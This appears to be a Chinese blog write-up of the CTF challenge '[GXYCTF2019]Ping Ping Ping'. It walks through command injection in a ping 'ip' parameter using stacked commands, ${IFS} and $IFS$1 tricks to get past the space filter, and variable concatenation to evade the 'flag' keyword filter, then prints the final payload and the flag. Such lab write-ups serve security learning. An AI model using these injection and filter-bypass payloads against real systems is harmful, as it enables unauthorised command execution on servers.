当前位置: 首页 > article >正文

[GXYCTF2019]Ping Ping Ping 1

题目环境
image.png

给了一个ip参数
注意题目Ping Ping Ping
意思就是让我们进行Ping地址
随便输入一个地址Ping一下

URL?ip=0
image.png

有回显结果,和上题类似
[ACTF2020 新生赛]Exec 1-CSDN博客

查看当前目录文件
URL?ip=0;ls(这里使用堆叠注入查询)
image.png
直接给出了咱们flag文件,事实上真的有这么简单吗?
查看flag文件看看是什么情况
URL?ip=0;cat flag.php
image.png
空格报错!
查看flag关键字是否被过滤
URL?ip=0;flag.php
image.png
flag报错!
查看字符是否被过滤
URL?ip=0;/
image.png
字符报错!
好啊好啊,过滤这么多东西,不过好在/符号不用绕过了,因为flag就在当前目录
空格绕过

  1. cat${IFS}flag.txt
  2. cat$IFS$9flag.txt (正整数可以是任意)
  3. cat<flag.txt
  4. cat<>flag.txt
  5. {cat,flag.txt}

flag关键字绕过

可以使用定义变量绕过
x = a g f a x=ag fa x=agfax=flag

构造payload:
**URL?ip=0;x=ag;cat${IFS}fl$x.php**
image.png
字符报错!
猜测"{}"被过滤
试试第二种空格绕过方法
构造payload:
**URL?ip=0;x=ag;cat$IFS$1fl$x.php**
image.png
有回显结果,绕过成功,但是没有发现flag,F12查看网页源代码,看看有没有flag
image.png
得出flag:
flag{08512195-033d-4f18-a5b0-00dcbc58c4b8}


http://www.kler.cn/news/109074.html

相关文章:

  • 计算机网络 期末复习方向
  • Kafka入门05——基础知识
  • asp.net老年大学教务管理信息系统VS开发sqlserver数据库web结构c#编程
  • 正点原子嵌入式linux驱动开发——Linux 串口RS232/485/GPS 驱动
  • 【Leetcode Sheet】Weekly Practice 13
  • ChatGPT从入门到精通
  • 基于vue小红书平台用户数据分析与可视化
  • 【机器学习可解释性】2.特征重要性排列
  • 51单片机汽车胎压大气气压测量仪仿真设计_数码管显示(代码+仿真+设计报告+讲解)
  • hive sql,年月日 时分秒格式的数据,以15分钟为时间段,找出每一条数据所在时间段的上下界限时间值(15分钟分区)
  • CSS3中的字体和文本样式
  • 禁用Google Chrome自动升级、查看Chrome版本号
  • React Hooks 实战案例
  • 一周通过Professional Scrum Master(PSM1)考试准备分享
  • 浅谈数据治理(一)
  • Maven第四章:配置文件详解
  • 如何使用 Docker 搭建 Jenkins 环境?从安装到精通
  • 数据库管理-第113期 Oracle Exadata 04-硬件选择(20231020)
  • Vue显示FFmpeg推的流
  • C/S架构和B/S架构
  • 09 用户态跟踪:如何使用eBPF排查应用程序?
  • python自动化测试(七):鼠标事件
  • Swift如何优雅漂亮的打印字典、json
  • RabbitMQ学习04
  • conda: error: argument COMMAND: invalid choice: ‘activate‘
  • 阿里云2023年双11活动时间、活动入口、活动内容详细解读
  • 程序化交易(二)level2行情数据源接入
  • LeetCode题:88合并两个有序数组,283移动零,448找到所有数组中消失的数字
  • idea 没加载 provided的包
  • GoLong的学习之路(十二)语法之标准库 flag的使用